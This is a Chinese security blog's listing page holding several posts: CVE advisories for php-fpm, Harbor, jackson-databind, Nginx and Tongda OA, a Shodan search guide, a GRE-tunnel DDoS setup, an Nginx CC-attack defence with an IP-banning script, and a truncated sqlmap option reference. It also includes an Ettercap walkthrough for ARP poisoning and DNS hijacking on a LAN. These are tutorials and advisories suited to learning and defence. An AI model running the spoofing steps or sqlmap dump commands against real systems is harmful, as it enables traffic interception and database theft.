首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
5,208 阅读
2
Cloudflare SAAS 接入自选教程
2,809 阅读
3
CloudFront CDN配置教程
2,447 阅读
4
Frpc使用XTCP不通过服务器传输
2,235 阅读
5
兽装曲腿制作文档
2,210 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
447
篇文章
累计收到
129
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
145
篇与
的结果
2020-03-25
【漏洞预警】php-fpm在特定nginx配置下远程代码执行漏洞(CVE-2019-11043)
漏洞描述nginx 配置项 fastcgi_split_path_info 在处理带有 %0a 的请求时遇到换行符 \n 会导致 PATH_INFO 为空,进而导致特定的攻击请求会修改php-fpm进程中的相关配置,在特殊配置情况下可导致远程代码执行漏洞,相关漏洞配置类似如下:``` location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } }漏洞评级CVE-2019-11043 中危安全建议删除或修改如下配置,防止.php之后可传入任意字符(可能会影响正常业务):``` fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ``` 相关链接https://bugs.php.net/bug.php?id=78599https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
2020年03月25日
78 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Harbor 多个高危漏洞(CVE-2019-19029、CVE-2019-19026等)
漏洞描述Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.8.6和1.9.3之前版本的部分接口存在权限提升、SQL注入、用户枚举等多个高危漏洞。攻击者通过构造特定请求,可利用SQL注入获取大量敏感数据,或者将低权限账户提升为管理员权限账户,从而接管Harbor镜像仓库。漏洞评级CVE-2019-19023(高危)普通用户可以通过进行API调用来修改特定用户的电子邮件地址,从而获得管理员帐户特权。CVE-2019-19029(高危)Project-Admin功能权限用户可以利用Harbor API接口user-groups SQL注入漏洞从底层数据库读取机密信息或权限提升。CVE-2019-19026(中危)经过身份验证的管理员可以通过GET参数sort发送特制的SQL有效负载,从而允许从数据库中提取敏感信息。CVE-2019-3990(中危)/api/users/search 接口用户枚举漏洞。CVE-2019-19025(低危)Harbor Web界面缺少CSRF保护漏洞。影响版本Harbor 1.7.xHarbor 1.8.x < 1.8.6Harbor 1.9.x < 1.9.3安全版本Harbor 1.8.x >= 1.8.6Harbor 1.9.x >= 1.9.3安全建议升级Harbor版本到安全版本参考下载链接:https://github.com/goharbor/harbor/releases相关链接https://github.com/goharbor/harbor/security/advisories
2020年03月25日
214 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】jackson-databind 反序列化远程代码执行漏洞(CVE-2020-8840)
漏洞描述jackson-databind是一套开源java高性能JSON处理器,受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,漏洞需要配合xbean-reflect-*.jar组件才能成功利用,影响面适中。风险评级CVE-2020-8840 中危影响版本jackson-databind 2.9系列 < 2.9.10.3jackson-databind 2.8系列 < 2.8.11.5jackson-databind 低于2.8系列安全版本jackson-databind 2.10系列 全版本jackson-databind 2.9系列 >= 2.9.10.3jackson-databind 2.8系列 >= 2.8.11.5安全建议以下任意一种方法均可实现漏洞修复1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本:https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.3/https://github.com/FasterXML/jackson-databind/releases2、针对无法升级jackson-databind的,排查并将xbean-reflect-*.jar组件从应用依赖中移除可阻止漏洞攻击(可能会导致应用不可用风险)相关链接https://github.com/FasterXML/jackson-databind/issues/2620https://nvd.nist.gov/vuln/detail/CVE-2020-8840https://github.com/FasterXML/jackson-databind/releases
2020年03月25日
335 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
319 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】通达OA 高危漏洞预警
漏洞描述通达OA是一套办公系统。近日通达OA官方在官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件。攻击者通过构造恶意请求,上传webshell等恶意文件,并对入侵的服务器进行文件加密,勒索高额匿名货币赎金。影响版本V11版2017版2016版2015版2013增强版2013版安全建议通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。安全更新下载地址:http://www.tongda2000.com/news/673.php相关链接http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1
2020年03月25日
116 阅读
0 评论
0 点赞
2020-03-24
Shodan使用指南
前言Shodan是一个搜素互联网链接设备的搜索引擎,不同于Google、Baidu这些搜素引擎。用户可以在Shodan上使用Shodan搜索语法查找链接到互联网的摄像头、路由器、服务器等设备信息。在渗透测试中是个非常非常不错的神器。Shodan的工作原理Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。注:banner信息:用于描述设备所运行服务的标志性文本信息。Shodan的使用在使用Shodan之前我们需要注册一个Shodan账户,之后才可以使用:Shodan的使用方法较为简单,你可以将其当成一个“网络区域的”浏览器,之所以这样说是因为它具备搜索引擎的功能,而且是主要面对于网络设备的。Shodan初试条目介绍:左侧部分:Top Countries 使用最多的国家 Top services 使用最多的服务 Top organizations 使用最多的组织 Top operating systems 使用最多的操作系统 Top products (Software name) 使用最多的产品中间部分:涉及与搜素关键词有关的Target,主要包含的信息有:IP地址 主机名 该主机所处国家、区域 该条目的收录收录时间 Banner信息如果想要获得更加详细的信息可以点击“Details”之后获取与此目标相关的信息内容:Shodan的使用语法面对大量的信息量,如果要获取我们想要的目标信息,那么就必须附加限制条件缩小范围是最后的结果更加精确,与Google一样Shodan也有相应的语言可以使用:hostname——————————搜索指定的主机或域名,例如 hostname:baidu port——————————————搜索指定的端口或服务,例如 port:80 country———————————搜索指定的国家,例如 country:US city——————————————搜索指定的城市,例如 city:Chengdu org———————————————搜索指定的组织或公司,例如 org:"Google" isp———————————————搜索指定的ISP供应商,例如 isp:"China Telecom" product———————————搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version———————————搜索指定的软件版本,例如 version:"1.6.2" geo———————————————搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after——————搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15" net———————————————搜索指定的IP地址或子网,例如 net:"210.45.240.0/24" 查找位于国内的Nginx服务器nginx country:"CN"查找 GWS(Google Web Server) 服务器:"Server: gws" hostname:"google"查找指定网段的华为设备:huawei net:"61.191.146.0/24"如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法命令行下使用 ShodanShodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python安装pip install shodan或者git clone https://github.com/achillean/shodan-python.git && cd shodan-python python setup.py install安装完后我们先看下帮助信息:➜ ~ shodan -h Usage: shodan [OPTIONS] COMMAND [ARGS]... Options: -h, --help Show this message and exit. Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据常用示例init初始化命令行工具。➜ ~ shodan init [API_Key] Successfully initializedcount返回查询的结果数量。➜ ~ shodan count microsoft iis 6.0 575862download将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加--limit 参数。
2020年03月24日
944 阅读
0 评论
0 点赞
2020-03-23
使用VPS的GRE隧道过滤DDoS
什么是GRE隧道?类似于代理,GRE隧道使您可以将来自VPS的流量(包括DDoS过滤)传递到另一个远程目标。GRE隧道允许所有流量通过,而不仅仅是HTTP。借助GRE隧道,您可以提供服务,并从任何类型的服务器(音频,FTP,SSH,SCP,视频等)传递任何类型的内容。可以使用GRE隧道做什么?当您想使用我们的DDoS过滤服务来保护太大的服务(例如游戏服务器,Java应用程序,大型数据库驱动的应用程序等)时,GRE隧道非常方便。没有对目标服务器的root访问权,或者正在运行大型Windows部署?查看我们将流量重定向牵引到您的远程服务器的替代方法。注意:如果您正在隧道连接到OVH服务器,则您的内核很可能没有GRE支持。您将需要使用IPIP隧道。支持的操作系统可以使用Windows创建和转发GRE隧道在本文档中,我们仅介绍Linux的GRE隧道配置。本指南在KVM或者OpenVZ的服务器上都可以起作用前提BuyVM VPS上安装的iptables(大多数情况下已包括在内)iproute2(几乎所有最新的Linux发行版中都包含)具有GRE支持的内核(Linux默认包含该组件-ip_gre内核模块)您需要转发到目的地的端口列表隧道设置首先,我们需要建立隧道。在BuyVM VPS上,请执行以下命令: echo 'net.ipv4.ip_forward=1' >> /etc/sysctl.conf sysctl -p iptunnel add gre1 mode gre local YOUR_UNFILTERED_IP remote DESTINATION_SERVER_IP ttl 255 ip addr add 192.168.168.1/30 dev gre1 ip link set gre1 up 在要保护的远程服务器上,运行以下命令: iptunnel add gre1 mode gre local DESTINATION_SERVER_IP remote YOUR_UNFILTERED_IP ttl 255 ip addr add 192.168.168.2/30 dev gre1 ip link set gre1 up 您将始终希望使用所有GRE隧道的未过滤 IP地址来形成GRE,以确保您不会遇到任何类型的MTU问题或触发DDOS保护。请注意每个更改的第一行,以标记要在本地和远程使用的IP。第二行记录每个端点。在/ 30中,可以使用2个IP:.1和.2。使用Ping测试您的新GRE隧道在VPS上,您现在应该可以ping了192.168.168.2。为了完整起见,请192.168.168.1从目标服务器测试ping 。设置源路由表需要源路由条目,以确保通过GRE隧道传入的数据被发回GRE隧道。请在目标服务器上执行以下命令。echo '100 BUYVM' >> /etc/iproute2/rt_tables ip rule add from 192.168.168.0/30 table BUYVM ip route add default via 192.168.168.1 table BUYVM 请注意,echo命令只需要运行一次。该条目将保存到/ etc / iproute2 / rt_tables中,直到您手动将其删除。初始NAT条目以通过GRE隧道移动数据NAT用于通过GRE将数据传递到另一端。虽然可以使用已购买的/ 29分配的基于KVM的VPS,但本指南不涵盖此内容。在VPS上,运行以下命令: iptables -t nat -A POSTROUTING -s 192.168.168.0/30 ! -o gre+ -j SNAT --to-source 源ip测试出站连接在目标服务器上,您可以运行以下命令之一,以查看隧道是否正确传递了流量: curl http://www.cpanel.net/showip.cgi --interface 192.168.168.2 wget http://www.cpanel.net/showip.cgi --bind-address = 192.168.168.2 -q -O-IP应该是您的防御节点的IP。通过GRE隧道转发端口为了使事情变得容易,我们将所有端口转发到后端服务器。在VPS上运行以下命令:iptables -t nat -A PREROUTING -d YOUR_FILTERED_IP -j DNAT --to-destination 192.168.168.2 iptables -A FORWARD -d 192.168.168.2 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT 如果您想更具体一点,可以添加:-p tcp --dport 25565例如,如果您只是想保护Minecraft服务器。第一条规则设置实际的端口转发,第二条规则确保连接获得NAT,并正确匹配。在这一点上,您应该能够YOUR_FILTERED_IP使用您的应用程序连接到目标端口,并通过GRE隧道传递而不会出现问题。重新启动后重新启动GRE隧道可以/etc/rc.local使用自己喜欢的编辑器进行编辑(甚至使用WINSCP),并将刚运行的所有命令exit 0放在底部。选择发行版(如Debian)可能/etc/network/interfaces在启动时加入了GRE隧道,但这超出了本指南的范围。
2020年03月23日
126 阅读
0 评论
0 点赞
2020-03-23
Ettercap实现局域网DNS劫持
环境准备:1.kali系统;2.用到的软件:kali中的Ettercap,一个集成工具,里面包括了局域网主机扫描,arp欺骗,DNS劫持等功能;3.受害PC:自己的虚拟机中的系统centos。原理DNS,全称为域名解析协议,是一种将域名解析为ip地址的协议,基于UDP的53端口。比如我们在浏览器访问百度域名,会先向dns服务器发送一次dns请求报文,询问百度的ip地址,dns服务器经过查询(或递归查询)会将百度的域名以及对应的ip地址以dns响应报文的形式发回给我们,然后我们才可以与所对应的ip建立TCP连接进行网络通信。dns劫持建立在arp欺骗的基础上,关于arp的文章之前有写过,链接:arp协议分析&python编程实现arp欺骗抓图片,通过arp欺骗可以监听受害者机器到网关之间的流量,如果可以过滤协议为UDP,端口为53端口的数据报文,也就是DNS报文,并且将dns响应中的域名所对应的ip地址改写成我们服务器的ip,受害者机器就会与我们的机器进行连接通信,这就是dns投毒的基本原理,kali的Ettercap就可以做到这一点。1.打开ettercap的DNS文件进行编辑,文件路径为/etc/ettercap/etter.dns2.编辑/var/www/html/index.html文件 改成你定义页面 当然,如果你劫持到公网的某个地址,你可以跳过这步的3.输入命令ettercap -G来进入ettercap的图形界面4.选择网卡点击Sniff–>Unfied sniffing—配置,网卡选择eth05.接下来点击Hosts–>Scan for hosts,扫描局域网中存活的ip,寻找攻击目标6.显示扫到四个主机,点击Hosts list查看7.将网关192.168.75.1 Add to Target1,将受害PC192.168.75.131 Add to Target28.然后点击Mitm–>ARP poisoning9.勾选Sniff remote connections10.ARP欺骗便开始了11.下面开始dns劫持,点击Plugins–>Manage the plugins12.选择dns_spood插件,便开始dns欺骗了13.最后点击strat>start sniffing
2020年03月23日
231 阅读
0 评论
0 点赞
2020-03-22
NGINX防御CC攻击
在讲之前呢,先给大家讲解一下什么是cc攻击:攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(ChallengeCollapsar)。为了防止软件对网站压力测试或者恶意攻击,当服务器遭遇CC攻击时,我们可以快速查看日志,分析其请求的特征,比如User-agent。下面的是某一次CC攻击时的User-agent Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate几乎没有正常的浏览器会在User-agent中带上“must-revalidate”这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有“must-revalidate”的请求全部拒绝访问:if ($http_user_agent ~ must-revalidate) { return 403; }再用cc攻击软件,全部返回403,用360奇云测访问正常也可以通过以下办法,被动防御Discuz!是使用比较多的一个php论坛程序。以Discuz!7.0为例,程序目录下有比较多的可以直接访问的php文件,但其中最容易受到攻击的一般有index.php(首页)、forumdisplay.php(板块显示)、viewthread.php(帖子显示)。攻击者一般会对这些页面发起大量的请求,导致HTTP服务器连接数耗尽、mysql数据库停止响应,最终导致服务器崩溃。为了防止上述页面被攻击,我们可以设定以下的规则进行防御: http { limit_zone myzone_bbs $binary_remote_addr 10m; limit_req_zone $binary_remote_addr zone=bbs:10m rate=1r/s; … server { … location ~ ^/bbs/(index|forumdisplay|viewthread).php$ { limit_conn myzone_bbs 3; limit_req zone=bbs burst=2 nodelay; root html; fastcgi_pass unix:/dev/shm/php-cgi.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; include fastcgi_params; } } }应用这条规则后,bbs目录下的index.php、forumdisplay.php和viewthread.php这些页面同一个IP只许建立3个连接,并且每秒只能有1个请求(突发请求可以达到2个)。虽然这样的规则一般来说对正常的用户不会产生影响(极少有人在1秒内打开3个页面),但是为了防止影响那些手快的用户访问,可以在nginx中自定义503页面,503页面对用户进行提示,然后自动刷新。在Nginx中自定义503页面:error_page 503 /errpage/503.html;503页面的源代码:<html> < head> < title>页面即将载入....</title> < meta http-equiv=content-type c> < META NAME="ROBOTS" C> < /head> < body bgcolor="#FFFFFF"> < table cellpadding="0" cellspacing="0" border="0" width="700" align="center" height="85%"> < tr align="center" valign="middle"> < td> < table cellpadding="10" cellspacing="0" border="0" width="80%" align="center" style="font-family: Verdana, Tahoma; color: #666666; font-size: 11px"> < tr> < td valign="middle" align="center" bgcolor="#EBEBEB"> < br /><b style="font-size: 16px">页面即将载入</b> < br /><br />你刷新页面的速度过快。请少安毋躁,页面即将载入... < br /><br />[<a href="javascript:window.location.reload();"><font color=#666666>立即重新载入</font></a>] < br /><br /> < /td> < /tr> < /table> < /td> < /tr> < /table> < /body> < /html> < SCRIPT language=javascript> function update() { window.location.reload(); } setTimeout("update()",2000); < /script>2.被动防御虽然主动防御已经抵挡了大多数HTTP GET FLOOD攻击,但是道高一尺魔高一丈,攻击者会总会找到你薄弱的环节进行攻击。所以我们在这里也要介绍一下被动防御的一些方法。1)封IP地址访问者通过浏览器正常访问网站,与服务器建立的连接一般不会超过20个,我们可以通过脚本禁止连接数过大的IP访问。以下脚本通过netstat命令列举所有连接,将连接数最高的一个IP如果连接数超过150,则通过 iptables阻止访问:#!/bin/sh status=`netstat -na|awk '$5 ~ /[0-9]+:[0-9]+/ {print $5}' |awk -F ":" -- '{print $1}' |sort -n|uniq -c |sort -n|tail -n 1` NUM=`echo $status|awk '{print $1}'` IP=`echo $status|awk '{print $2}'` result=`echo "$NUM > 150" | bc` if [ $result = 1 ] then echo IP:$IP is over $NUM, BAN IT! /sbin/iptables -I INPUT -s $IP -j DROP fi 运行crontab -e,将上述脚本添加到crontab每分钟自动运行: 通过apache自带的ab工具进行服务器压力测试: ab -n 1000 -c 100 http://www.nf139.com 测试完成后,我们就可以看到系统中有IP被封的提示: [root@xxxxxx ~]#tail /var/spool/mail/root Content-Type: text/plain; charset=ANSI_X3.4-1968 Auto-Submitted: auto-generated X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <;PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> IP:58.246.xx.xx is over 1047, BAN IT!另外还有一种下下策使用Cloudflare的CDN和云锁抗CC模块双管齐下配置危险ip验证码访问和自动验证,如果遭受的攻击太大,可以考虑临时开启5秒盾和云锁的验证码盾
2020年03月22日
201 阅读
0 评论
0 点赞
2020-03-19
sqlmap使用
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令下载安装官方网站:http://sqlmap.org/下载地址:https://github.com/sqlmapproject/sqlmap/(1)linux下git直接安装gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev(2)windows下安装windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。(3)kali及PentestBox默认安装sqlmap参数 -h或-hh:查看sqlmap的参数信息,双h显示全部 -version:查看版本信息目标-d 直接连接数据库的连接字符串 sqlmap -d “mysql://root:123456@127.0.0.1:3306/mysql"-u 检测目标url是否存在注入 sqlmap -u "http://127.0.0.1/sql.php?id=1"-m 检测文件中的url 例: sqlmap -m "1.txt"-r:从文件加载HTTP请求进行注入(burp抓取的数据包等) 例: sqlmap - r "1.txt"-g 自动获取Google搜索的前一百个结果,所处的网络环境要能访问Google才行 例: sqlmap -g "inurl:\".php?id=1\""-p 指定测试参数,若想只测试GET参数“id”和User-Agent 例: sqlmap -u "http://127.0.0.1?id=1" -p "id,user-agent"--skip 不测试指定参数,如设置了level为5但不想测试User-Agent和Referer 例: sqlmap -u "http://127.0.0.1?id=1" --level 5 --skip "user-agent,referer"--dbms 指定数据库类型,支持以下这些数据库管理系统:MySQL,Oracle,PostgreSQL,SQL Server,Access,Firebird,SQLite,Sybase,SAP MaxDB,DB2 例: sqlmap -u "http://127.0.0.1?id=1" --dbms Access--os 指定操作系统 例: sqlmap -u "http://127.0.0.1?id=1" --os linux请求--data 通过POST发送数据参数sqlmap会检测该参数指定数据是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1" --data "id=1"--proxy 设置代理 例: sqlmap -u "http://127.0.0.1" --proxy "http://127.0.0.1:8080"--param-del 默认url地址以“&”作为分隔符。我们可以使用“--param-del”来指定分隔符 例: sqlmap -u "http://127.0.0.1" --data "id=1;name=junmo" --param-del=";"--cookie 部分页面访问需要登入状态cookie默认的分隔符为“;”指定cookie中的分隔符使用参数"–cookie-del" 例: sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1" --cookie "PHPSESSID=kldvor5u6uokm9b2qpa0t4kp41;user=junmo;"--drop-set-cookie 若HTTP响应头中有"Set-Cookie",Sqlmap会自动设置cookie,并对这些cookie进行检测,不想set cookie添加参数"--drop-set-cookie" sqlmap就会忽略。--user-agent sqlmap默认的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(sqlmap.org)使用--user-agent参数来修改,当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入 例: sqlmap -u "http://127.0.0.1?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0"--random-agent 从文件./txt/user-agents.txt中随机地取一个User-Agent作为HTTP User-Agent头值 例: sqlmap -u "http://127.0.0.1?id=1" --random-agent--referer 指定HTTP头中的Referer值,Sqlmap发送的HTTP请求头部默认无Referer字段level<=3时,会检测Referer是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1?id=1" --referer "http://192.168.0.1/"--headers 发送时额外添加HTTP请求报文头部字段,若添加多个字段,用"\n"分隔 例: sqlmap -u "http://127.0.0.1?id=1" --headers="X-Forwarded-For: 1.1.1.1\nETag: 123456"--delay 来指定HTTP请求之间的延迟防止过于频繁而被拦截,单位为秒,类型是浮点数,如"--delay 1.5"表示延迟1.5秒,默认是没有延迟的。例: sqlmap -u "http://127.0.0.1?id=1" --delay 0.5--timeou 超时时间默认为30秒,指定超时时间,如"--timeout 52.1"表示设置超时时间为52.1秒 例: sqlmap -u "http://127.0.0.1?id=1" --timeou 50--retries 指定超时后最大重试次数默认为3 例: sqlmap -u "http://127.0.0.1?id=1" --retries 5--skip-urlencode 默认会对URL进行URL编码,使用该参数关闭URL编码。例: sqlmap -u "http://127.0.0.1?id=1" --skip-urlencode--threads 设置线程默认为1最大为10 例: sqlmap -u "http://127.0.0.1?id=1" --threads 10--invalid-bignum 生成无效参数值时强制使用大数, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加"–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。--invalid-logical 生成无效参数值时强制使用逻辑操作符, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。--invalid-string 生成无效参数值时强制使用字符串, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。--no-cast 关闭payload转换 在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了"–no-cast"来告诉Sqlmap不要这样做。--no-escape 关闭字符串编码 有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码--prefix payload前添加用户指定的前缀,如宽字节注入 例: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --prefix "%df'"--suffix payload后添加用户指定的后缀--mobile 模拟手机User-Agent检测--level 用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测 例: sqlmap -u "http://127.0.0.1?id=1" --level 5--risk 用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害,风险等级2添加了基于时间的注入测试,等级3添加了OR测试。sqlmap -u "http://127.0.0.1?id=1" --risk 3'-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;“1”同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。信息获取 --common-tables 暴力破解表名 有些情况下用“--tables”不能列出数据库中表名来,如:版本小于5.0的MySQL没有information_schema表微软Access的MSysObjects表默认不可读数据库用户权限过低无法读取表名当无法读出表名时可以使用参数“–common-tables”暴力破解表名,该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。 --common-columns 暴力破解列名 该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。 --all 列举所有可访问的数据 -b或--banner 大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“--banner”来列举数据库管理系统的这一信息。 --current-user 获取当前用户 --current-db 获取当前数据库 --hostname 获取服务器主机名 --is-dba 检测是否为管理员权限若是管理员则返回True,否则返回False。 --users 获取数据库用户 --password 获取数据库管理系统用户密码Hash值 --privileges 获取当前用户权限 --dbs 获取数据库系统数据库 --tables 获取数据库系统数据表 --columns 获取数据库系统数据列 -D 指定数据库 -T 指定数据表 -C 指定数据列 --count 获取数据条数 例: sqlmap -u "http://127.0.0.1?id=1" -D "mysql" -T "user" --count --dump 下载指定数据 例: sqlmap -u "http://127.0.0.1?id=1" --dump -D "mysql" -T "user" --dump-all 下载所有数据 --exclude-sysdbs 排除指定数据库 例: sqlmap -u "http://127.0.0.1?id=1" --dump-all --exclude-sysdbs "mysql" --search 